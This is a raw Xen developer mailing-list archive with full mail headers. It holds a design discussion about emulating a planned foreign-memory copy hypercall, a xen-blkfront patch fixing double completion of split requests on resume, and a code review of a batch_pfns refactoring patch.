        bh=vmLfQgiG1OKQw/Q65sHSdA5o0bfHAhfqA/NcY2EYuf0=;
        fh=aU3/UpxH5Blg8M5NzH55q/XY8irYVWQMVJdPeFRWhhg=;
        b=W4vxx+nSmXwvGCA4kLbQqSMx2hfzm71L+21h3hGRG5jux1gWVXGHurxicoIVrrjHUt
         M7edx9GTdx6imrGM2GdcTVbVg2eRsHQzpn7RPcevleMCnstgwlix9WfCFrcPIGk8V9BF
         UR+4XBOXcCmu+pRp1JJ4d1MOQ/Wt16rOt39YL7IIJMGPiqFUY+hWEH7ragomjw93SqhJ
         P/9CFjNUNPXBWsAgt/6m+941tsbgWnDmfUawdc6FXRZ25aZ6Zi33s/vfpJdK77KUhHDJ
         1SgXhYaF5i/wJFQ6VxvFgpRpPvsQNxxaDGDYZx9+so+RUkOm66fy7GHAZ0aWN0YH2dXo
         MvUA==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783591679; x=1784196479; darn=lists.xenproject.org;
        h=content-type:cc:to:subject:message-id:date:from:in-reply-to
         :references:mime-version:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=vmLfQgiG1OKQw/Q65sHSdA5o0bfHAhfqA/NcY2EYuf0=;
        b=qP/n5OlXD6sqNnfeIM+ZMwLevlBppo6NQ1tn8SsznihfKvR6MEPX8iYTUGUQUHEpIA
         /EDI7B8c+w3cIl5fLa6XPUPu0m9IQYAE6CtEiKtew/J5bwhyQr161l4up41vX2bshsCf
         RTBridqISkb8ZpvmQgSSNZSnbGxwSz2wWJTZlrkk/MhzIcsDTZ2PWPzoIiURB1RvhUPf
         jHATVoHYtAOE18OuxeILRLLBxnmxT/eKUIF4I7UDOjIeXIxKKlajwgy9KNsklIdWqn8J
         MOKe1Hkb2hKKcqvLkEE/Z5s7cPhf1K1m9pjULRblaHWA1GgQI4VchjQ8GBXVdQOB3i8L
         CDkQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783591679; x=1784196479;
        h=content-type:cc:to:subject:message-id:date:from:in-reply-to
         :references:mime-version:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=vmLfQgiG1OKQw/Q65sHSdA5o0bfHAhfqA/NcY2EYuf0=;
        b=Up0ledIkPLxaGsdqH+cu+K4PbC7NAuuwk3qlUO1OGWg+/MDN91BfICcPKK8V1Ki76N
         4CkOxHA54+GdnC7IU1BrNbgLfYxB5LesDwW7Y6N1z3klYiOi6465mzsK7q78T95BLo+4
         mZDn+G4ZOoOdLjXKU75VpFZERR9CU1ioTqUCCebwGJ6Hkud8ohwsVlZecPxtDsEAvo4p
         4lfqfP7eX1Pe48u2pvtrKAFoupBGzwFJP2W4A0OJ2VJlNJRvypUIcigmDMb9oRAmma5+
         vZijJlBz3vBKZgywn/7qeWSGfLs2zYuf+CBBRO5UQBCK5lzGGgG2IIklr7rrawoHIU2U
         lyrA==
X-Gm-Message-State: AOJu0Yw0fGtuaIum4Gxz+h9H5mHTeIKEYXeorvc49jKRl3dodBfavyh1
	sbwXgB4N4Bo4dR5lhBWPFUH6PMf+ndZipdgss0CqrltGqsaZwyfpjgHkIdJ7BNwxtHvzVPgd7RZ
	xrPacO0aFNFXFjSWFOa0BAtviGG1TG2s=
X-Gm-Gg: AfdE7ckR/fPOqFQg39mvSgBNlzAO3AXgMnPmN5eJztXFCtbHmUQQkQbJ3boMI4+ppuV
	HBwFFonBtom1pZUdPdMrtIR+eSfN1cM8T6h7SFSXs3JM/V4/+mX2sd46mo6TaWM+yW/lrrxp1uY
	XrvfViTzGNI6pWr3Ow54fwTLvM7xKOLsIYQyCiJRS+Vrz3bfPBU4u1GqzsFctCDATYcTbSo4bYk
	BkhXlsCHchU8iSVmCOIdPM77LEJgOkfanj/33OEbhFDWk2OMMmAWQlbWW4z3DW4dt63XzUksHFr
	gPRbL1oOiUFwzT+Yd7cVUIdRkBI=
X-Received: by 2002:a05:690e:4502:20b0:667:8b90:3567 with SMTP id
 956f58d0204a3-6679f25c153mr3553440d50.89.1783591679019; Thu, 09 Jul 2026
 03:07:59 -0700 (PDT)
MIME-Version: 1.0
References: <20260619130501.272832-1-frediano.ziglio@citrix.com>
 <20260619130501.272832-11-frediano.ziglio@citrix.com> <1783517550.8631fc262581453bbf619ec5b2062170.19f41ee18a900080a8@vates.tech>
In-Reply-To: <1783517550.8631fc262581453bbf619ec5b2062170.19f41ee18a900080a8@vates.tech>
From: Frediano Ziglio <freddy77@gmail.com>
Date: Thu, 9 Jul 2026 11:07:47 +0100
X-Gm-Features: AVVi8Cf39DXngosu_ccvThZV3zuP7fArGTj_DXend0VH5IZDBd0Ytjfvlf2GXmM
Message-ID: <CAHt6W4cw=R_50-dWevFJ_9gbaOjsdfHv9BZoVsvJ+7wiyhnXpw@mail.gmail.com>
Subject: Re: [PATCH v6 10/16] libs/guest: add xg_foreignmemory_copy_{from,to}
To: Anthony PERARD <anthony.perard@vates.tech>
Cc: xen-devel@lists.xenproject.org, 
	Frediano Ziglio <frediano.ziglio@citrix.com>, Jan Beulich <jbeulich@suse.com>, 
	Andrew Cooper <andrew.cooper3@citrix.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>, 
	Teddy Astie <teddy.astie@vates.tech>, Juergen Gross <jgross@suse.com>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-33051d/1783591680-B59BA5D1-078C78A4/0/0
X-purgate-type: clean
X-purgate-size: 2244

On Wed, 8 Jul 2026 at 14:32, Anthony PERARD <anthony.perard@vates.tech> wrote:
>
> On Fri, Jun 19, 2026 at 02:04:55PM +0100, Frediano Ziglio wrote:
> > This change prepare code to use a new "foreign copy" hypercall.
> > The new hypercall will copy memory from/to a foreign domain.
> > The new hypercall can be emulated with a sequence of:
> > - map foreign memory;
> > - copy memory;
> > - unmap foreign memory.
>
> I don't understand the point of this patch. The hypercall doesn't exist
> so there's nothing to emulate.

I think that imitating something else is the definition of "emulate",
we know what the hypercall should do so we emulate the wanted
behavior.

> I've notice there's a patch later in the series which introduce a new
> hypercall, but the changes to the library should come after the
> hypercall is been introduced, only then can we check if the emulation is
> correct, or even needed.

There are other changes after the hypercall.

In this case the new hypercall is to replace something that is already
there. The base idea is that the new hypercall is able to do 3 steps
together.
The reason to introduce the emulation first is that you can refactor
on the emulation without having to introduce the new hypercall.
Introducing the hypercall first would make testing more complicated as
bugs on the hypercall have to be taken into account and considered.
Also it is easier that way to enable or disable new code. For instance
you want to test for performance regression (in this case the code
emulated should not perform worse).

In the beginning the PoC was much more hacky and it was more similar
to the idea you have probably in mind. But a big part of the "hack"
was removing code, in particular the entire support for PV and the
verification code. Obviously that hacks could not be accepted so
instead I decided to change the code in a more incremental way not
removing things but instead changing to make it easier to use the
future hypercall. So I was able to test all cases (like PV)
incrementally and keep it working.

You are however the second person (after Andrew) to ask this, so a big
comment (probably in the commit message) is due.

>
> Cheers,
>

Frediano


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 10:08:59 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 10:08:59 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357844.1612174 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlgh-0004Bv-J4; Thu, 09 Jul 2026 10:08:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357844.1612174; Thu, 09 Jul 2026 10:08:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlgh-0004Bo-Fl; Thu, 09 Jul 2026 10:08:59 +0000
Received: by outflank-mailman (input) for mailman id 1357844;
 Thu, 09 Jul 2026 10:08:58 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <doruk@0sec.ai>) id 1whlgg-0004Bc-2c
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 10:08:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whlgf-00D3qJ-FK
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 12:08:57 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <doruk@0sec.ai>)
 id 6a4f7326-2eae-0a2a0a5409dd-0a2a4504d760-40
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:08:57 +0200
Received: from [209.85.221.54] (helo=mail-wr1-f54.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <doruk@0sec.ai>)
 id 6a4f7339-a01d-0a2a45040019-d155dd36e5fd-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:08:57 +0200
Received: by mail-wr1-f54.google.com with SMTP id
 ffacd0b85a97d-4759b4f0897so968921f8f.1
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 03:08:57 -0700 (PDT)
Received: from PeakBook-Mini.tail8e484.ts.net ([178.197.218.188])
 by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47aa09608d4sm51513868f8f.25.2026.07.09.03.08.54
 (version=TLS1_3 cipher=TLS_CHACHA20_POLY1305_SHA256 bits=256/256);
 Thu, 09 Jul 2026 03:08:55 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=temperror header.s=google header.d=0sec.ai header.i="@0sec.ai"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=0sec.ai; s=google; t=1783591737; x=1784196537; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=R38Rncr/E+UsAEWrPcumXybq6cXHOZxrmRPFJ81xA0g=;
        b=voaj42SXHGofT9QS5QMm27wi/Cr/73yEo+WDdJcaLkhZmsvp63gNUGERYNHjsLW/Q1
         ANdxGMlRo89M1Om4mrO7JitLhU98kvtTWTbQ+YWSSkHyjSMAje9bJrXCr919LBkHrxrx
         wUR7aRD+pXomiAIUENak6CVedp5PGxZPw0kGClWTkQIjbw1/ehzGr8TQpp0Suxdu7jLQ
         W8UoR5UkIb6K2Wy7KN7Vx5JG7tZ7oirhcdvRG9z3wwHzM6o4FlqZao/TfUZLxbq/76w2
         rDq9JyTrGhb55sIDhEWrL85YoibJH5HJB52Eitl2pQZYONZQJ6X2cCt9Z00xvF1VTSGi
         2A9w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783591737; x=1784196537;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=R38Rncr/E+UsAEWrPcumXybq6cXHOZxrmRPFJ81xA0g=;
        b=cOACKKzZTvPNPue2laKqNmJDS60nmwKMIj40J5kTy2s7QqgiGR1Iz+EqzD/HDgYzbX
         0W0X4j2NOveLAaWDsR/dn+0t1F7198PKYc7DhJPNQdnG3TnRPqOKNbb0yQ3+yVzUOcYY
         fXQAc7fIIVHvYVBHYXKd2P5m6GTulxYj8c/fZIyTsBFxJ+IOkkxS8m+0w/sQSH4VTVaM
         gBZR00DaGur5zFnj4Zf6heTEvEsTh0wMr/STE/RFvN2H3m4VWrrFXRWH3I8jjHgs2d38
         dznANQpC4mIIySYZay36obn617IHAz64SCrtIP7tiOOuRl+RUyHE3iWS2ytM4SaXd9R9
         EIdQ==
X-Forwarded-Encrypted: i=1; AHgh+RroqUkqK1CubJ2Lcv8luxVP94l2BH+drDEZCxA5jBIynmAjPEhO0McolR0sug6h6gCua4AulUXNBII=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yx+c3RIVKYo7ncZyvt5oEz0yWad8oHcuiG5Ll8ZNnq7ji8Mjd/I
	LSk3N9WajkgK0ARIVJOh0XJF9ooYcEhILmgLh3VOTKBADRT/kiX/V8jjFaCahrIpU4FT
X-Gm-Gg: AfdE7cm4hk6XQISMRqve6ntivbUFSIpBs7otqs2iNPvXH1UY31eVjK1NuBI+01c0o7T
	ziqH2LbskEws1YKIXDWm+JOHu3hSlmMmd9N338zPpAzblHi5eMXlqJQQOSWpKdv3HxL8rr5QQ0y
	QqDOcXxBi2wcu5df3bDX9KjXDf5+OAHyFXKX+2P9b7hRN+rxEmytRLSMEl4Y7sFDQcErFhFVYN2
	ZA+UN7DE58I8LNHur87z3pxV6y/x15yVKcVZLPaHTmdaOkKylEN396SyB1GNIav4pBkydMSfXpn
	eY5KIDrYXgKINBYvdgZ5Pf6qE16c72VA291ZEqK+DrGDSmbf7PlMzpfajXBX6flo+FzT5TyIuSS
	U0kbg/iii3B2RAohZRCDVY+3YxLDnn+cJGfbpkyGMkwe6cxMOzxnklt79RLudJfYhzAAfFziI8f
	kd80szsOHtuLqE2ajFZF/vQW1JQX5mg/a1n56YSbokOy+bgsRFTVu0WXHnbOo+6BLk/lNscUMIR
	PFATAD7Z5SbqdHa1UcMHxFdkgRsU8fKpok=
X-Received: by 2002:a5d:59c5:0:b0:475:f0f0:9ec8 with SMTP id ffacd0b85a97d-47df0813a82mr7441246f8f.51.1783591736321;
        Thu, 09 Jul 2026 03:08:56 -0700 (PDT)
From: Doruk Tan Ozturk <doruk@0sec.ai>
To: =?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Juergen Gross <jgross@suse.com>
Cc: Stefano Stabellini <sstabellini@kernel.org>,
	Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>,
	Jens Axboe <axboe@kernel.dk>,
	xen-devel@lists.xenproject.org,
	linux-block@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	Doruk Tan Ozturk <doruk@0sec.ai>
Subject: [PATCH v2] xen-blkfront: fix double completion of split requests on resume
Date: Thu,  9 Jul 2026 12:08:53 +0200
Message-ID: <20260709100853.7489-1-doruk@0sec.ai>
X-Mailer: git-send-email 2.53.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1783591737-ACB3B1CC-B920370C/0/0
X-purgate-type: clean
X-purgate-size: 2238

When a block request is too large for a single ring entry and the
backend does not support indirect descriptors, blkfront splits it across
two ring requests. This only happens when the frontend runs on a
64K-page kernel (e.g. arm64): there, even a single-page request may not
fit in one ring slot and must be split. blkif_ring_get_request() is
called twice and both shadow slots (shadow[id] and shadow[extra_id])
point at the *same* struct request, linked through associated_id.

blkif_completion() collapses the pair on the normal completion path,
recycling the second slot and completing the request once. The
suspend/resume walk in blkfront_resume() does not: it visits every
shadow slot with ->request set and calls blk_mq_end_request() or
re-queues ->request. For an in-flight split request it therefore
processes the shared struct request twice on resume/migration -- a
double completion.

Skip the secondary slot of a split request in the resume walk so each
logical request is processed exactly once. The secondary slot is the
linked one (associated_id != NO_ASSOCIATED_ID) that carries no
scatter-gather list (num_sg == 0); the first slot always keeps the sg
list. The bug is only reachable on suspend/resume or live migration of
such a guest, so it has no local reproducer.

Fixes: 6cc568339047 ("xen/blkfront: Handle non-indirect grant with 64KB pages")
Assisted-by: 0sec:claude-opus-4-8
Signed-off-by: Doruk Tan Ozturk <doruk@0sec.ai>
---
 drivers/block/xen-blkfront.c | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/drivers/block/xen-blkfront.c b/drivers/block/xen-blkfront.c
index f765970578f9..8dad7bf5f664 100644
--- a/drivers/block/xen-blkfront.c
+++ b/drivers/block/xen-blkfront.c
@@ -2079,6 +2079,15 @@ static int blkfront_resume(struct xenbus_device *dev)
 			if (!shadow[j].request)
 				continue;
 
+			/*
+			 * For requests split across multiple slots, process the
+			 * underlying request only once: skip the linked, sg-less
+			 * secondary slot.
+			 */
+			if (shadow[j].associated_id != NO_ASSOCIATED_ID &&
+			    shadow[j].num_sg == 0)
+				continue;
+
 			/*
 			 * Get the bios in the request so we can re-queue them.
 			 */
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 10:10:45 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 10:10:45 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357855.1612184 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whliO-0005kL-0x; Thu, 09 Jul 2026 10:10:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357855.1612184; Thu, 09 Jul 2026 10:10:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whliN-0005kE-UL; Thu, 09 Jul 2026 10:10:43 +0000
Received: by outflank-mailman (input) for mailman id 1357855;
 Thu, 09 Jul 2026 10:10:42 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1whliM-0005k4-HR
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 10:10:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whliL-00ET8e-UY
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 12:10:41 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f73a1-5cb7-0a2a0a5109dd-0a2a4506ce22-2
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:10:41 +0200
Received: from [74.125.224.43] (helo=mail-yx1-f43.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f73a0-08de-0a2a45060019-4a7de02bc0b9-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:10:41 +0200
Received: by mail-yx1-f43.google.com with SMTP id
 956f58d0204a3-66628618509so1016727d50.2
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 03:10:41 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1783591840; cv=none;
        d=google.com; s=arc-20260327;
        b=NLb2+Bvqm1uUiQDaQr8na6ZEv6cR3OpCSoQx1PAPWEhK0oZF+SEd7rW/EwMP/0eA96
         RbhQzTqWECdLKyU/eOJWfZJKlBQwN16HIt7D4rperLI2u52E+H2qu8AENUOYUtBGEiQv
         Bn30GySHrBkZeFUxEOoM6PF9fM+mYpxD1h6Bg2RV2eaK2ysRiiX2UxMZIsIFpTjeJm3f
         filAwpsWcsqSnZ2adi29Xqy+Dcx63UrDnKbqyhl/EON+V0A7B9ShmpXZJgzDcCbSNlR0
         Bt9Ho739Ax1DPg2DcjWp9dO96q7F7cYYiGmiXFMn7hzdJUWSYJXsP5HCixrfdLofjjQl
         IP8A==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=content-transfer-encoding:cc:to:subject:message-id:date:from
         :in-reply-to:references:mime-version:dkim-signature;
        bh=xOOevMuPe35Bv8U5POk91gB2d1Rxc6jExsFDjGRND5M=;
        fh=hPm/vFa1sRt5uhzQFrp765rgrhqr4j+AMaChATfJNPw=;
        b=RrVUQNoDWs4nbF8XciOgPl0jbLVeB7G+kB/qZpu+rwBrbOK7a+Q9uOCmxCnwSpl6vx
         BwA3XXDnyNX16sxbOKeG8F9ZAWz3lShkiYXoInmX/TF9cMr+gwOcdLsJj5akQP25fz4l
         NaWtJrREbzyvYRfet+iFdLax0aPjeDnpfzN9Tnx/u0bWGIqyg/7QhNjjtP2eexss5Tu2
         IEXA7zCoNJwSCWQiC7ZUITyJL7a+g6gMS649tSfsinqnWmoWJ+cyoieHWQB8pteD/pt9
         ns+I62+lempJ4TMvXjlIA+GONIHTvUn9QLiLP3t1QW33yuAvP9OyaLNP+Qhtjexle+HI
         X+oA==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783591840; x=1784196640; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=xOOevMuPe35Bv8U5POk91gB2d1Rxc6jExsFDjGRND5M=;
        b=sq4IZiUEDhlTEYsmLuw3BgsrHKN1sjyWLDWTMnU5QemppbSyCCK+LNjrPdB7XmGgTi
         igei5XnOtuKj8JwM+uCRgq/M2SLkAxmV8jzGP+9eaM2XD4GQA485nojrtQFC/mGTQwsj
         +o690tbuXi000G2iP7oAJm+klzToOgEc63TnkTYpcDhFhoaWfjWRYICIgewYelLEmpFl
         MxeiT94S137ZWdq9d4LA9h2kWjkdjYZiQ87+SAeb1Q0AqockwozGHlmOB3+1H0GJBRfT
         Bny8sLxHpet/P5qMaY8jzDnLDEEuTtGXLgytFQvRYBLkxirgeibAxLMGDpCK5jytP0Os
         Jr3g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783591840; x=1784196640;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=xOOevMuPe35Bv8U5POk91gB2d1Rxc6jExsFDjGRND5M=;
        b=F+IdSnw+w3a3dzpajBY1rENrmY+f+UOIrr6H+L9VhLNztoe0cdp5KEyzTphJbSJnHK
         nTIyDYUUUwYcqf8Ac5of8KskwVIYL1YVOtpVpmC+xPVi1fE5bGgHf/ZxYeBG9CfN7+fL
         xho/FngNyx1DSlNDVtJsal3MARb8TbdX9b8OBIB3oJOipvbwvuGduYwsjOxm7aWe6ViG
         Y3jqfq7Ryqu9SYd+JuGf0kuTMPfJW5Vb4VuQfUT/5UtFOYtwc+t0yjZUMZRTxX4blCeC
         S8UOS3/TUjTgX/if6Y7UGoivPSRzWJudArzcudEtFsCtxLK8Vox7iYiVJMnsnwujxDlW
         c+/g==
X-Gm-Message-State: AOJu0Yw+pnwN7LzK6loM+tSiT6O2hJxobEDzHGnS27JcQw3TWseTrMMM
	UA+uV8u5vL+i3xqIo7NNavPo8A+stExIIyARhkXEVWLVoy668nesCr+WlyDzLWsPcz9wz5MrIX1
	XteXqjNgNn7FYntlkfbrB+nW83dmioLbaligXhDAVkw==
X-Gm-Gg: AfdE7clSEePkNCh5bfcY7R3tl4cmjPyOHDIi+tlatfg4PT34YCl0QwxVMsFO9hbvj1Y
	JIIiLsmeghnzgFgRPRCQVVMMI6OUpHaPfN1X1D/K65bDpi+STuoT1S2FRhjgS+DAHn5FezQNLRQ
	HhzLnIEhbKivIqG39kHOoiMDMq+I9m5ux5b/fHQJuDx0phNwzW6sHZWHkRq6NWOe+FsdYA0lR8z
	NdOd3zFQZT4JLQ3tsmynTnFrxtB6G79SWFqD2rwD6o9Wnj84NbrPJjKAWKNQObC87wsrhjfyJez
	In+KayOq4PPBcUCVpUhuU8lQewQ=
X-Received: by 2002:a05:690e:4402:b0:664:ac71:be8f with SMTP id
 956f58d0204a3-6679f0b0e80mr4121332d50.38.1783591839430; Thu, 09 Jul 2026
 03:10:39 -0700 (PDT)
MIME-Version: 1.0
References: <20260709074358.256084-1-frediano.ziglio@citrix.com> <20260709074358.256084-5-frediano.ziglio@citrix.com>
In-Reply-To: <20260709074358.256084-5-frediano.ziglio@citrix.com>
From: Frediano Ziglio <freddy77@gmail.com>
Date: Thu, 9 Jul 2026 11:10:27 +0100
X-Gm-Features: AVVi8CdRJj8y_1yRlr2KNNwPLmFx9viF0Gup3gt-ZtW-HhSduf6SWu8hAeG7xs8
Message-ID: <CAHt6W4cXmaKEJaU=ZR2+uicN3=G3dFzbMK+_eCkMXiSZh7V2XA@mail.gmail.com>
Subject: Re: [PATCH v7 4/6] libs/guest: move batch_pfns into a separate structure
To: xen-devel@lists.xenproject.org
Cc: =?UTF-8?B?RWR3aW4gVMO2csO2aw==?= <edwin.torok@citrix.com>, 
	Jan Beulich <jbeulich@suse.com>, Andrew Cooper <andrew.cooper3@citrix.com>, 
	=?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>, 
	Teddy Astie <teddy.astie@vates.tech>, Anthony PERARD <anthony.perard@vates.tech>, 
	Juergen Gross <jgross@suse.com>, Frediano Ziglio <frediano.ziglio@citrix.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-16d1c6/1783591841-43D2D68D-FF55E5B9/0/0
X-purgate-type: clean
X-purgate-size: 2722

On Thu, 9 Jul 2026 at 08:44, Frediano Ziglio <freddy77@gmail.com> wrote:
>
> From: Edwin T=C3=B6r=C3=B6k <edwin.torok@citrix.com>
>
> Prepare for following change.
>
> Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
> ---
> Changes since v6:
> - split from "libs/guest: allocate various migration arrays just once".
> ---
>  tools/libs/guest/xg_sr_common.h |  5 ++++-
>  tools/libs/guest/xg_sr_save.c   | 31 +++++++++++++++++--------------
>  2 files changed, 21 insertions(+), 15 deletions(-)
>
> diff --git a/tools/libs/guest/xg_sr_common.h b/tools/libs/guest/xg_sr_com=
mon.h
> index f1573aefcb..7574c9f5b6 100644
> --- a/tools/libs/guest/xg_sr_common.h
> +++ b/tools/libs/guest/xg_sr_common.h
> @@ -239,11 +239,14 @@ struct xc_sr_context
>
>              struct precopy_stats stats;
>
> -            xen_pfn_t *batch_pfns;
>              unsigned int nr_batch_pfns;
>              unsigned long *deferred_pages;
>              unsigned long nr_deferred_pages;
>              xc_hypercall_buffer_t dirty_bitmap_hbuf;
> +            struct xc_sr_context_save_buffers
> +            {
> +                xen_pfn_t batch_pfns[MAX_BATCH_SIZE];
> +            } *buffers;
>          } save;
>
>          struct /* Restore data. */
> diff --git a/tools/libs/guest/xg_sr_save.c b/tools/libs/guest/xg_sr_save.=
c
> index 84fdbe4140..8956f4260d 100644
> --- a/tools/libs/guest/xg_sr_save.c
> +++ b/tools/libs/guest/xg_sr_save.c
> @@ -75,7 +75,7 @@ static int write_checkpoint_record(struct xc_sr_context=
 *ctx)
>
>  /*
>   * Writes a batch of memory as a PAGE_DATA record into the stream.  The =
batch
> - * is constructed in ctx->save.batch_pfns.
> + * is constructed in ctx->save.buffers->batch_pfns.
>   *
>   * This function:
>   * - gets the types for each pfn in the batch.
> @@ -95,6 +95,7 @@ static int write_batch(struct xc_sr_context *ctx)
>      void *page, *orig_page;
>      uint64_t *rec_pfns =3D NULL;
>      struct iovec *iov =3D NULL; int iovcnt =3D 0;
> +    xen_pfn_t *batch_pfns;

What about a direct

    xen_pfn_t *const batch_pfns =3D ctx->save.buffers->batch_pfns;

here ?

>      struct {
>          struct xc_sr_rhdr rec;
>          struct xc_sr_rec_page_data_header page_data;
> @@ -110,6 +111,10 @@ static int write_batch(struct xc_sr_context *ctx)
>      };
>
>      assert(nr_pfns !=3D 0);
> +    assert(nr_pfns <=3D MAX_BATCH_SIZE);
> +    assert(ctx->save.buffers);
> +
> +    batch_pfns =3D ctx->save.buffers->batch_pfns;
>
>      /* Mfns of the batch pfns. */
>      mfns =3D malloc(nr_pfns * sizeof(*mfns));
> @@ -141,13 +146,12 @@ static int write_batch(struct xc_sr_context *ctx)

...

Frediano


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 10:11:06 2026
